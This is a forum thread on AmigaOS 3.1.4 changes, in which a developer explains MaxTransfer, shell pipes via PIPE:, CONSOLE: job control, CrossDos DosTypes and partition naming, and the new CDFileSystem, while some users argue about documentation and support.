And if one has multiple incarnations of scsi.device in use on same system, such as booting with kick 3.1 before loading scsi.device v45, or when using IDEFix, one better stay safe than sorry. Especially with "exotic" implementations of Gayle.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on November 14, 2018, 06:48:39 AM
@Thomas so is it even necessary to have the maxtransfer field available? If it's not necessary for the user to change it shouldn't the field to edit it just be removed?
No, because the HDToolBox does not only handle the scsi.device, but also other devices, and I can of course make no statement how they handle the situation. Note well, it is not "handled automatically" by anything. All I'm saying is "the scsi.device does it right now". I'm not saying "all other devices do it right now". As far as "correct devices" are concerned, the omniscsi is certainly also correct.

Once again, "MaxTransfer", "Mask" and "BufMemType" are workarounds for broken devices, third party or not. The scsi.device got "unbroken", but I cannot make any statements beyond that.

I guess the questions that need answering to make it clear follow. Are there ANY circumstances with 3.1.4 that maxtransfer should be edited? Is it the case that whatever is entered is ignored since it is handled automatically now by Kickstart / devices?
Check with the documentation that came with the host adapter you are using. The CBM devices do not need it, the GuruROM does not need it. Everything else... well, anybodies guess.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on November 14, 2018, 06:51:47 AM
And if one has multiple incarnations of scsi.device in use on same system, such as booting with kick 3.1 before loading scsi.device v45, or when using IDEFix, one better stay safe than sorry. Especially with "exotic" implementations of Gayle.
Once again, just to make this completely sure: This has nothing, absolutely nothing to do with Gayle. Gayle is just a bunch of latches, not more. Either you get a PATA command through, or you don't, but there is no situation in which one version of Gayle requires another MaxTransfer than another - this is simply not possible.

It is just a question of the PATA aka IDE protocol, and its proper implementation. The V45 scsi.device is more careful in its implementation, and handles this race condition of >255 sectors gracefully. Regardless which version of Gayle is installed. Gayle is completely innocent in this respect.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: NinjaCyborg on November 19, 2018, 05:58:10 PM
Dear Thomas please continue your notes, and ignore the trolls. Much much thanks to you for your hard work and contributions over many years.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on November 20, 2018, 03:52:20 PM
Sorry, I know I'm late on this. But I recently moved, and my former ISP does not deliver to my new appartment, and the new one doesn't get things going. It's supposed to take 4-6 weeks until I'm back online (German efficiency...), meaning probably not before Christmas. And I cannot waste the time of my employer overly.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: paul1981 on November 22, 2018, 05:43:18 PM
Dear Thomas please continue your notes, and ignore the trolls. Much much thanks to you for your hard work and contributions over many years.

I've read through this whole thread, and in all honesty I don't believe there is any trolling going off here. Kolla has asked some valid questions in my mind and I was happy to see Thomas answer them.

The only MaxTransfer issue I know of was a problem with CF cards attached to the internal on-board IDE controllers of the A600, A1200 and presumably the A4000. I only occasionally use CF cards for file transfer via PCMCIA so it's a non-issue for me anyway. Regardless, the fix was easy as it just required you manually specifying a MaxTransfer value of 0xFE00 in HDToolbox.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on December 08, 2018, 09:43:12 AM
So, internet is back, it "only" took a month for my new ISP to setup the line. But it is "fibre to home", so I cannot complain. Hence, let's continue here, even though I might have forgotten where I stopped.

Shell Pipes: We had this already. It is an old feature in a new interface - there is no longer the Pipe command because the shell handles it all by itself. The advantage is that there is no need to go through a second-step parsing, which is particularly tricky with the awkward shell language. Depending on the Pipe command you used, some recognized tokens like STDIN: or STDOUT: to access directly the input or output stream. Note well, there is no "device" named STDIN: or STDOUT:, this was simply "guessing and token recognition", to allow such things as
Code: [Select]
list | type stdin: hex
which would give a directory listing in hex. Don't ask what this is good for, it is just the simplest example I could think of. "Type" does not support "reading" from stdin, so you had to use this token.

With 3.1.4, there is no "Pipe" command, and there is no longer any magic token that represents a stream. But you can do the same by similar means, by a feature of the qeue-handler. If it is opened without any file name, it rather reads or writes (depending on how it is opened) from the currently active input or output pipe.

Sounds complicated? Not really, it is quite straightforeward. The above converts to:
Code: [Select]
list | type pipe: hex
Hence, list pipes its output to the pipe, and "type" picks it up there, via "PIPE:". There is no ambiguitity, "PIPE:" is context-sensitive, i.e. you can run the same in two shells simultaneously without any chance of confusion because "PIPE:" knowns where the input or output comes from or goes to, and PIPE: also knows whether it should operate from the reading or writing end of the pipe because the program opens the stream either for reading or writing. In the above case, for reading of course, so it connects to the output of list.

Morale of the story: Just replace STDIN: or STDOUT: (if your "pipe command of the day" supported that) by PIPE: and all will be good.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on December 08, 2018, 05:39:57 PM
How about $_phar and $_mchar? Still used, or are things now hard coded to | and ||?
(I have typically used && for the latter)

Is CONSOLE: used by any chance? I've been asked to insert CONSOLE: a few times with shell v46.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: TribbleSmasher on December 08, 2018, 05:50:34 PM
Is CONSOLE: used by any chance? I've been asked to insert CONSOLE: a few times with shell v46.
If this could turn up in any file requester: please don't. I hate "fake" drives in them, seriously.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on December 08, 2018, 05:53:14 PM
How about $_phar and $_mchar? Still used, or are things now hard coded to | and ||?
(I have typically used && for the latter)
No, they are hardcoded. The shell syntax is complicated enough as it is. Note that it is the recommended setting anyhow and agrees with the ARexx syntax.

Is CONSOLE: used by any chance? I've been asked to insert CONSOLE: a few times with shell v46.
CONSOLE: is used for &. In particular, the runback token uses named consoles to allow proper job control. Note a delicate difference between CONSOLE: and *. The latter is the "current console owner = the current job", "CONSOLE:" is the default console owner, i.e. the job that launched the shell. "&" uses "CONSOLE:<a unique token>" so that job control would work for consoles that distinguish between jobs.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on December 09, 2018, 10:38:22 AM
I see. Yes, guess I may have attempted using & in some temporary script, which then has been launched with "run >NIL: script" in the background, detaching it from any console capable of job control. Using & is more equivalent to "run >console:" I suppose.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on December 09, 2018, 11:11:52 AM
I believe I've already provided some details on CrossDos, but nevermind doing it again and going a bit more into depth. CrossDos is also pretty much new, at least many major parts have been exchanged, and there is unfortunately still one bug left we need to fix in a follow-up release (tentatively, 3.1.4.1). The big picture is that CrossDos is now multithreaded, same as the FFS, and it can handle large volumes (though, due to the bug, not long FATs). That means, it supports FAT16,FAT24 and (that is the new part) FAT32. It also includes support for long file names, something called "VFAT" in the Linux world. Last M$ patents on this stuff run out Febrary last year, so we are safe.

Multithreaded means that CrossDos can fire off an I/O operation such as reading a long file, it can still respond to other incoming requests. As long as the requests can be handled from cache - and CrossDos does have a cache - they can be answered immediately. Previous CrossDos releases tried this in a clumpsy way, by always starting two processes. One handled "ACTION_DISK_INFO", and forwarded all other requests to a second task. This would at least avoid slowing down the frequent disk check by the workbench which triggers exactly this packet, but doesn't help much otherwise. New CrossDos is a single process, not two, but it uses a technique called "coroutines", something it shares with FFS and the CD File system (more on this in another episode).

For normal routines, you have subroutines A, B, C where A calls B, then B calls C, C returns to B, and B returns to A. Coroutines work different. From A's perspective, A calls B, and - from inside B - B calls A. A typical example for this (and this is how it works in just another project of mine, ViNCEd) is parsing of CSI sequences, e.g. CSIx;ym to set the font color and font attributes in the console. Here we have one function B that calls A to get a new character, then, if this is a CSI or ESC, it reads the next - ok, is it a number? - parses the number, then continues parsing to the next semicolon, then when the final letter arrives, it has all the parameters it needs to collect, and calls the corresponding lower-level function to set the attributes. So, the parser - here B - needs the data letter by letter or digit by digit. Unfortunately, this is not the way how the data arrives. Instead, the user writes data into the console, and probably not even in complete sequences. There is nothing wrong writing the CSI with a single write call, then writing the digits in a second call, and then writing the final letter in a last call. So, from that perspective, the function that receives all the request from the user - and this is A - gets data in chunks, and then calls into B. So from the perspective of the dos.library, the top-level is A, which collects user requests, and calls into the parser B. From the parser perspective, B namely, it needs to call A to retrieve the next character. Clearly, this doesn't work with classical subroutines, because either A or B would need to be turned "inside out".

There are two solutions for this problem. One solution is "state machines", which are hard to debug and complicated to write, but classical and work with the methods of high-level languages such as C, and the other solution is "coroutines", which is a long forgotten art form, probably best described in Knuth's "The Art of Computer Programming", which is not supported by C, but requires a small assembly stub. It is (or was) supported by BCPL, as implemented in Tripos, and probably one of the reasons why the OFS used it. FFS uses its own coroutine functions, and so does CrossDos and CDFileSystem.

There is more to tell with CrossDos. My experience with it is that most people assume that it works like FAT95, but it does not. FAT95 is not multithreaded, and it is not quite as capable as CrossDos. Again, we need to take a detour for the details. On the Amiga, partitions are indicated by the Rigid Disk Block, a couple of blocks at the start of a disk that tells where the partitions start and end. This rigid disk block is to be interpreted by the firmware of the host adapter. This is for example the Guru ROM, or the GVP boot rom, or even part of the scsi.device. It is not the FFS or OFS that deals with it. Floppies don't use a Rigid disk block, and removable media such as ZIP should not use it either (this is a bad idea, more later).

Of course, PCs don't use a rigid disk block. They use a Bios MBR partiton table (not nowadays anymore with UEFI, they use yet another structure). The problem is: The hostadapter cannot read this structure (there is not even a hostadapter there), so nobody in the Os feels responsible for the MBR partition table. So CrossDos has to jump in. It can be run in two modes:

- Using the drive entirely as if it would be a floppy (this is the "superfloppy" mode)
- Interpreting the partition table, then handling one partition of the drive. It then needs to know which partition it should be responsible for.

Back when CrossDos became implemented, the new "SuperFloppy" flag in the mount list did not exist, so they looked for other solutions, which is the DosType field in the mount list.

So, if the dos type is MSD\0, it is a superfloppy, no partitions are assumed, and the whole disk is just one file system. This is identical to setting "SuperFloppy = 1" in the mount list. There is a second equivialent dos type, namely MDD\0 which does right the same. This is probably some legacy mechanism to switch between single and double density, but it is no longer in use and the two are now equivalent. One single file system per device.

If the DosType is MSH\0, instead a MBR partition table is assumed to be on the drive, and then "SuperFloppy" must be 0, i.e. off. Of course, then CrossDos needs to know which partition to access, and there is no such field in the mount list. Instead, it uses the name of the handler. If the device name ends with C, it is the first partition, if it ends with D, it is the second partition and so on. This is probably to mirror the typical Dos "partition names" where C: is the first partition on the internal hard disk, D: the second and so on. Hence, you cannot name the devices as you like, but the name of the icon in DEVS:DOSDrivers nees to end with the right character names.

Thus, to keep it short, three things need to be fixed to switch over from FAT95 to CrossDos:
a) Change the FileSystem entry in the MountList to L:CrossDosFileSystem
b) Change the dos type to  0x4d534800 for MBR-partitioned drives or 0x4d534400 for super floppies (or keep 0x4d534800 and add "SuperFloppy = 1").
c) Change the name of the icon such that the last letter indicates the right partition.

FAT95 uses a different dos type, namely 0x46415400, and uses a different way to indicate partitions, and people often forget to change this. In particular, FAT95 uses the last digit of the Dos type to indicate the partition number, i.e. 0x46415401 is the next partition.

There is, however, something wrong with this hack, and it is a bad idea what FAT95 attempts here. And for this, we need another excursion, and this is the FileSystem.resource. This is an invention that came into live with v34 (Kick 1.3) and autobooting. The problem it tries to solve is that if you have a harddisk with many partitions and a floppy, then each of these devices needs a file system (clearly). However, without any further trick, the same file system needs to be loaded once per partition, hence for a three-partition drive and two floppies, five copies of the FFS would have to be loaded into RAM. This is clearly a very bad idea and wasteful.

Instead, we have the FileSystem.resource, which "buffers" file systems. So, whenever a partition is mounted, the Mount command (or the firmware of the host adapter) checks in this resource for a file system with the same DosType as the one it needs for mounting the partition, and if it finds one,  it just recycles what it finds there. Hence, there are three CrossDos entries in the FileSystem.resource once you mount a crossdoss device, installed there by CrossDos itself: MSH\0, MSD\0 and MDD\0, and all three point to the same CrossDos code.

Now, consider the same for FAT95: Instead, you could have as many as 255 entries in the FileSystem resource for that: One for FAT\0, the first partition, one for FAT\1, the second partition and so on, up to FAT\255, the 256th partition. This is clearly not practical. FAT95 mis-uses the DosType for something it was not designed for, and its authors probably forgot about the implications this has for the FileSystem.resource.

In the meantime, CrossDos had one bug fixed, namely that the version that came with 3.1.4 accepted only FATs (directories) with at most 16 blocks in size. This was part of a legacy check mechanism to identify corrupt disks, but is no longer relevant for today, so it got removed. CrossDos now *also* supports the FAT\xx dos type just because I know that only a minority of users read instructions, or even this text, but there is no entry (for reasons given above) for this DosType in the FileSystem.resource, so the code isn't shared. It just loads CrossDos again from disk, wasting your memory.

Avoid the waste, change the DosType.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: NinjaCyborg on December 09, 2018, 11:35:30 AM
Great stuff thanks Thomas. So for a USB memory stick or memory card formatted FAT for portability, and assuming you have a USB stack, what's the best way to treat that like a superfloppy without creating individual mountlists for every stick you have?
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on December 09, 2018, 12:20:45 PM
Great stuff thanks Thomas. So for a USB memory stick or memory card formatted FAT for portability, and assuming you have a USB stack, what's the best way to treat that like a superfloppy without creating individual mountlists for every stick you have?

Your average USB stick has a partition table on it, with one single partition, so an MSH type mount list with a device name ending with a 'C' should do the trick.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: NinjaCyborg on December 09, 2018, 12:49:12 PM
But will that work if I unplug it, then change it for a different one? Or put two at the same time, in different USB sockets, both of which would therefore be "C" drive assuming one partition per stick?
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on December 09, 2018, 01:09:04 PM
But will that work if I unplug it, then change it for a different one? Or put two at the same time, in different USB sockets, both of which would therefore be "C" drive assuming one partition per stick?

I do not know how your average USB stack maps devices to unit numbers, but I would believe that you can control with the unit number in the mount list which stick this is supposed to be. The geometry change does not matter, CrossDos gets this information from the partition and adjusts itself. That is, all the "LowCyl/HighCyl" numbers in the mount list are irrelevant and replaced by CrossDos anyhow.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on December 09, 2018, 01:13:39 PM
I see. Yes, guess I may have attempted using & in some temporary script, which then has been launched with "run >NIL: script" in the background, detaching it from any console capable of job control. Using & is more equivalent to "run >console:" I suppose.

No, & is not equivalent to "Run". "Run" starts a background shell, "&" does not. That means, the input of a program launched with "&" stays connected to the console, just a different console owner. Of course, the default Console-Handler of AmigaOs (aka Tripos) is too stupid to know, but ViNCed does. If you start a program with & and it requests input, the console will tell you and you can switch between the jobs with the "fg" and "bg" commands, and then enter information. "&" is much closer to the Linux/Unix "&" than "Run" ever was. If you start a program with "Run" and it expects input, it will receive nothing.

The name of the console will be "CONSOLE:xxxx" where "xxxx" is some unique string the shell generates with UniqueID() from the utility.library.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on December 09, 2018, 07:49:19 PM
I see. Yes, guess I may have attempted using & in some temporary script, which then has been launched with "run >NIL: script" in the background, detaching it from any console capable of job control. Using & is more equivalent to "run >console:" I suppose.

No, & is not equivalent to "Run".
I wrote "more equivalent", not that it was equivalent.

Quote
"Run" starts a background shell, "&" does not. That means, the input of a program launched with "&" stays connected to the console, just a different console owner. Of course, the default Console-Handler of AmigaOs (aka Tripos) is too stupid to know, but ViNCed does. If you start a program with & and it requests input, the console will tell you and you can switch between the jobs with the "fg" and "bg" commands, and then enter information. "&" is much closer to the Linux/Unix "&" than "Run" ever was. If you start a program with "Run" and it expects input, it will receive nothing.

Well, what you describe is rather messy, with the console doing the job of the shell - again.

Code: [Select]
$> type ram:test
ping somewhere &
echo haha
$> protect ram:test +s
$> run >NIL: ram:test

.. and presto, requester pops up, asking me to insert CONSOLE:

In other words - "&" only really works "reliably" in ViNCed, where job control is a thing, and the fg and bg scripts are (somewhat) functional.

On plain OS 3.1.4 there is no ViNCEd, using the & becomes rather pointless, not to mention "dangerous".
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on December 09, 2018, 07:53:33 PM
I am not sure which operating system you are using, but CONSOLE: is not a ViNCEd specific thing at all, not at all. It is a (pseudo)-device that is created and operated by the dos.library. If you see such a strange requester, it is surely not becaue you are not using ViNCEd. The only that that is different there is that my console supports job control whereas CON: does not.

Os 2.x supported CONSOLE: only incompletely, but this changed in 3.1.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on December 09, 2018, 07:59:47 PM
I do not know how your average USB stack maps devices to unit numbers, but I would believe that you can control with the unit number in the mount list which stick this is supposed to be. The geometry change does not matter, CrossDos gets this information from the partition and adjusts itself. That is, all the "LowCyl/HighCyl" numbers in the mount list are irrelevant and replaced by CrossDos anyhow.

With FAT95, one can use DosType in a mountlist entry to tell what MBR partition on a device that will be mounted, for example by setting DosType=0x46415401 it will use the first FAT partition of a device (regardless), 0x46415402 is second primary... 05 is first logical if there is an extended partiion, 06 is second etc.

How do one do this with the new CrossDOS? I want to replace FAT95 with CrossDOS, but if it means dealing with geometry and cylinders on every individual device I may put into a system, it is simply not worth it.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on December 09, 2018, 08:03:41 PM
I am not sure which operating system you are using, but CONSOLE: is not a ViNCEd specific thing at all, not at all. It is a (pseudo)-device that is created and operated by the dos.library. If you see such a strange requester, it is surely not becaue you are not using ViNCEd. The only that that is different there is that my console supports job control whereas CON: does not.

Os 2.x supported CONSOLE: only incompletely, but this changed in 3.1.

So? Not sure why you keep misreading me...

My point was that... JOB CONTROL ... and hence, using & to run commands in background,  is only useful with ViNCEd. Using "&" with the out-of-the-box console of OS 3.1.4 can easily bring the user to unfriendly places. Especially if he/she makes the mistake of putting it in scripts.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on December 09, 2018, 08:14:16 PM
How do one do this with the new CrossDOS? I want to replace FAT95 with CrossDOS, but if it means dealing with geometry and cylinders on every individual device I may put into a system, it is simply not worth it.
You find out by reading my post. Yes, really. I just found out it's really not worth answering.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on December 09, 2018, 08:18:36 PM
So? Not sure why you keep misreading me...

My point was that... JOB CONTROL ... and hence, using & to run commands in background,  is only useful with ViNCEd. Using "&" with the out-of-the-box console of OS 3.1.4 can easily bring the user to unfriendly places. Especially if he/she makes the mistake of putting it in scripts.

CON: does not have job control. Or rather, it does not distinguish between multiple programs that opened the console, which is about the only difference.

Thus, whatever command was operating in background will instead "steal" input from the console. Instead of not getting any input at all. Now, is that any better at all? If you don't want input, you can still use an input redirection <NIL:



Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: NinjaCyborg on December 09, 2018, 09:27:48 PM
Jesus christ Kolla eff off please. Go find another platform to harass people about, preferably Atari ST users.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on December 09, 2018, 09:47:41 PM
You find out by reading my post. Yes, really. I just found out it's really not worth answering.

It is vague, it appears to not let user specify where to actually look for a FAT file system.
You write "Change the name of the icon such that the last letter indicates the right partition".
So what is it for second logical partition? Does it depend on whether there is FAT filesystems on the other partitions? Does partition ordering matter?

Also...
Quote
Now, consider the same for FAT95: Instead, you could have as many as 255 entries in the FileSystem resource for that: One for FAT\0, the first partition, one for FAT\1, the second partition and so on, up to FAT\255, the 256th partition.
So how do one do many partitions with CrossDOS now anyways? You quickly run out of letters in the alphabet.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: Dynamic_Computing on December 10, 2018, 05:45:41 AM
If I can interrupt Kolla's persistent whining for just a moment - I put up a video last week all about the new features and updates in AmigaOS 3.1.4 - I tried to research this thread and the docs as much as I could, but I am sure I missed a few things. I would really appreciate if the developers of this awesome new update could take a peek when they have a chance, and correct me where I am off base. Thanks! And keep things civil!
https://youtu.be/BDAgjf6IlMA
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on December 10, 2018, 06:59:34 AM
It is vague, it appears to not let user specify where to actually look for a FAT file system.
No, it's not at all vague. You just have to read the whole thing from start to end, all the information you need is there, including how to specify which partition to pick. Kolla, I'm not feeling responsible for spoon feeding you.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on December 10, 2018, 07:17:38 AM
@Thomas Richter

No, you only say that dos device name must end with a letter that corresponds to a partition, whatever that is may very well depend on the partition layout, there is no exact answer, right? The MBR partition table may not list partitions in "correct" order, the extended partition may or may not exist on either of the four possible primary partitions, and the order of logical partitions is also not necessarily fixed. Does CrossDOS care about partition ordering? No answer. Does it get confused if there are primary partitions "behind" an extended partition? Who knows. Is there a specific letter associated with exactly the second logical partition of an extended partition? I suppose answer is - not really.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: trekiej on December 11, 2018, 01:54:34 AM
Would there be any problem using this with an A1000 if I got an accelerator or rom board?
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: Tygre on December 11, 2018, 02:21:40 AM
@Thomas Richter

No, you only say that dos device name must end with a letter that corresponds to a partition, whatever that is may very well depend on the partition layout, there is no exact answer, right? The MBR partition table may not list partitions in "correct" order, the extended partition may or may not exist on either of the four possible primary partitions, and the order of logical partitions is also not necessarily fixed. Does CrossDOS care about partition ordering? No answer. Does it get confused if there are primary partitions "behind" an extended partition? Who knows. Is there a specific letter associated with exactly the second logical partition of an extended partition? I suppose answer is - not really.

Why don't you try and report in this thread? (Or create a dedicated thread about your questions?) That would be useful to everyone and Thomas could go back to listing and explaining "bug fixes and changes by component", which is the reason for this tread. (Not to serve as an in-depth, developers' manual for AmigaOS v3.1.4.)
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: wiser3 on December 11, 2018, 04:01:58 AM
Could someone with qualified knowledge please comment on the prospects of implementing these features in the future:

1. change public (like WB) screen mode resolution/properties when applications are open on it
2. make shortcut icons that launch exe or scripts from another location
3. resize windows by dragging the borders
4. clickToFront funtionality built-in instead of via commodity
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: NinjaCyborg on December 11, 2018, 07:37:43 AM
(2) on your list is already possible with IconX or project icons and default tools.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on December 11, 2018, 10:01:37 AM
Concerning 1), this is not possible. If you reopen the workbench, all bitmaps have to be exchanged, and by that rastports and windows. Programs can and will use pointers to such resources, or even build their own without informing the Os, so you cannot just exchange this structure under the feet of the program.

Concerning 2), this is entirely up to you to create such icons. There is no need to handle this by the workbench. IconX or CLICon can do that just fine, or even the workbench natively if you want to. What is indeed missing is a workbench item (or a tool) to create soft- and hardlinks, especially now that workbench and shell handle them.

Concerning 3), this is is an intuition tweak. Unfortunately, many if not most programs assume that the size gadget has a fixed size. We run into this issue when trying to implement a 1:1 size mode, and aborted the attempt because it ruined the design of multiple programs. While correctly written programs such as the workbench or the console continue to work, most programs do not. Hence, this is not a realistic option.

Concerning 4), I disagree. A commodity is exactly the right place for functionality like this. Not all people want it or need it, and for those that do, dragging ClickToFront into the WBStartup folder is a very easy exercise to configure the system as they like. We do not need to blow up the core system with functionality that can be easily provided by (system conforming, non-patching) tools.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on December 11, 2018, 10:57:52 AM
Why don't you try and report in this thread?
Why do you assume I have not tried? I have tried. Lots. Did it work? Not really.
Though I have zero problems with FAT95, attempts at making equivalent mount point entries for crossdos have been mostly futile
Since it is so damn quirky both to get documentation and "support", I will hereby leave it to others to discover issues and report them in the sycophantic manner necessary.

Quote
(Not to serve as an in-depth, developers' manual for AmigaOS v3.1.4.)

I am not a developer, I am just trying to _use_ the software I bought, which is not so easy with documentation lacking and/or spread in bits an pieces all over, and no interest from Hyperion whatsoever beyond ownership and sales, certainly not to offer any support.

If I actually _was_ a developer, I would certainly miss an in-depth developers manual as well, but no such thing exists, does it.

EDIT: On the topic of CrossDOS - when was developer rights to CrossDOS passed over from Consultron to Hyperion, anyways? OS 3.1 only came with a limited version of CrossDOS, and CBM only had limited rights to develop CrossDOS themselves, it was a typical example of "bundleware", crippled to not interfere with the sales of the commercial version.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on December 11, 2018, 11:26:57 AM
Why do you assume I have not tried? I have tried. Lots. Did it work? Not really.
No, you haven't. You're whining, complaining, but not reporting. There is a difference between asking for support (which, quite frankly, is not even my job, nor the purpose of this thread, but let it be as it is), and complaining for the purpose of complaining. There is a reason why I ignore complaints from people like you because they are not serious. You know that, I know that. Let's stick to this arrangement.

Since it is so damn quirky both to get documentation and "support", I will hereby leave it to others to discover issues and report them in the sycophantic manner necessary.
DosTypes and support for partition mounting did not change in CrossDos. Not at all. It's this way since CrossDos shipped, and by that I mean "back in CBM days". I'm just re-iterating what you should have in your manual with 3.1 in first place, and apparently, what people forgot. There is a reason why this is 3.1.4 and not 3.2.

So the partition assignment to letters is *not* changed, the dos types are *not changed*. And please, don't tell me it is particularly hard to adjust the dos type to the types I provided, and change the name of the icon (potentially) to the naming rules I provided. Despite this being all "old news".

I am not a developer, I am just trying to _use_ the software I bought, which is not so easy with documentation lacking and/or spread in bits an pieces all over, and no interest from Hyperion whatsoever beyond ownership and sales, certainly not to offer any support.
Use the manual from 3.1. Really. There isn't really much of a difference. 3.1.4 is a *bug fix* release. It is not an "all new operating system".  This was never the point of the exercise.

If I actually _was_ a developer, I would certainly miss an in-depth developers manual as well, but no such thing exists, does it.
The developer CD *is* there, you can use it. The includes are the same as those for 3.1. There is *one* thing that changed, and that are three new bits in the Environment vector, and believe it or not, there is documentation for this out in the Aminet. It was put there the first day 3.1.4 was out for sale.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: Minuous on December 11, 2018, 01:05:02 PM
Presumably the Preferences-related include files have changed for OS3.1.4 though, as some of those file formats have been changed/extended.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: matt3k on December 11, 2018, 04:47:42 PM
Hi Thomas,

First off a HUGE thank you.  3.1.4 has been awesome fun on my 3000.

I have been trying to use PFS3AIO to install on a drive.  I installed the handler via the 3.1.4 hdtoolbox and it assigns it to international FFS.  I have seen that in the past so I thought I was fine and checked long file names and formatted the drive.  The PFS splash screen didn't come up at the end, so I assume it didn't work.

I'm using the native 3000 scsi controller.

Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: Tygre on December 11, 2018, 05:49:53 PM
Thomas already answered Kolla very well :) but let me add regarding:

I am not a developer, I am just trying to _use_ the software I bought, which is not so easy with documentation lacking and/or spread in bits an pieces all over, and no interest from Hyperion whatsoever beyond ownership and sales, certainly not to offer any support.

that this thread is not about Hyperion, it is about "Os 3.1.4 - List of bug fixes and changes by component".
Please create a new thread if you want to discuss Hyperion support (or lack thereof).
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on December 11, 2018, 08:03:23 PM
Concerning file systems, there is a third one that comes with 3.1.4, and that is the CDFileSystem that reads CDRoms. The V45 version has almost nothing in common with the original CBM version. It is a close cousin of the Os 4 version, though, and borrowed many features from there. At the same time, it is both ahead and behind it, but the story is a bit complicated....

Similar to the FFS and CrossDos, it is multithreaded - which is a new feature. That is, if a CD-read is triggered, the file system remains responsive and can answer requests as long as the corresponding CD blocks are in cache. What the CD file system caches are administrative blocks, not data blocks. That is similar to the FFS. This multithreading is new, compared to both the Os 3.1 and the Os 4.0 version, and just a consistent new feature in all file systems.

It also supports the "DirectSCSI" flag. Regularly, the CDFileSystem attempts to read from the CD (or DVD) by means of CMD_READ. However, not all hostadapters support 2048 block sectors (as required) CD ROM data track access, and hence, this control flag turns out to be quite useful here as well. Previous solutions for the same problem used the "control" entry in the mount list, though details depended on the particular implementation.

Despite cache and multithreading, the CDFileSystem features a third mechanism to speed up accesses, and this is "read ahead". If a program does not attempt to read a large amount of blocks one after another, but is rather asking data block by block, this would imply that the CDRom has to start and stop reading, slowing down the transfer. The CDFileSystem instead now automatically loads block N+1 into cache when block N is read such that this access can then be satisfied quickly.

Multiple extensions made it into the 3.1.4 version compared to the 3.1 version: Joliet support (the proprietary "we don't read standards" standard from Microsoft for long file names), and Rock Ridge (the universally-accepted except on windows version for long file names), plus the Amiga-specific extension for protection flags (a proprietary, though popular and necessary extension). They all came in from the Os 4 version.

What also came in through Os 4 is support for audio tracks. That is, audio tracks appear as "AIFF" files on the CD file system and then can be played through MultiView, though an AIFF datatype (which, sorry to say, we did not include). Well, mostly Os 4, as there is more to say. Os 4 does not "read ahead" and "multithread" for audio, and unfortunately, there are about 30 different ways how to get audio data from a CD ROM (I love standards, you can select between so many of them). Os 4 had about support for three. The 3.1.4 version has a rather delicate algorithm to try them out, then stick to the one that worked, so you don't need to configure this in the mountlist.

What came also came in from Os 4 is support for UDF, which is the file format used by DVDs. It is a bit more modern than the ISO format, though UDF support includes caching, which it did not in Os 4, so it should hopefully perform better. Actually, UDF support was much more polished in the 3.1.4 version.

There are other things that did not make it into this version, though, simply because we run out of time, or haven't had material for testing. The Os 4 version also supports some simple video format (CDXA) but no support in the file system. Trouble is here lack of documentation, and lack of test material. There are multiple track formats a CD can be formatted in, not just 2048 byte sectors and 2352 audio blocks. It was - to me - completely unclear which format these disks take. As this is a rather exotic format, I decided to ditch it. As soon as I know more, I might reconsider, but so far nobody really complained.

The Os 4 variant also supported HFS and HFS+, the "we do make proprietary formats" format from Apple. Unfortunately, I don't have any fruit in the house, and neither test data to assess it, furthermore, the Os 4 code was depending on some GNU specific extensions to ANSI C such as function definitions within functions (today, one would probably call that "closures") which first had to be restructured to fit into ANSI-C to make it compile with SAS. Well, in the end, this looked all to risky, with no test data, and only a "best guess interpretation" what this GNU C should mean, so it was also ditched. It would have extended the work by probably another month, and this was hard to justify.

There are probably a couple of "strange" CD drives still alive in some machines that do not play by "any rule" (i.e. any formulated standard) that we may have forgotten, or for which we have no clear idea how to detect or support. For example, it is at least known that some (really old) CD drives return audio data as "big endian". While this sounds plausible on the Amiga, the MMC audio specs specifically require little endian, and thus the endian switch is always made. Of course, with rather bad side effects on such drivers that play in the wrong (or right?) order. As there at this time no clear guideline how to identify such ancient beasts, nor an idea how to drive them, there is no support for them either. If you have to happen such a thing, let me know, we probably find a solution. But, again, they probably all died out 10 years ago already...

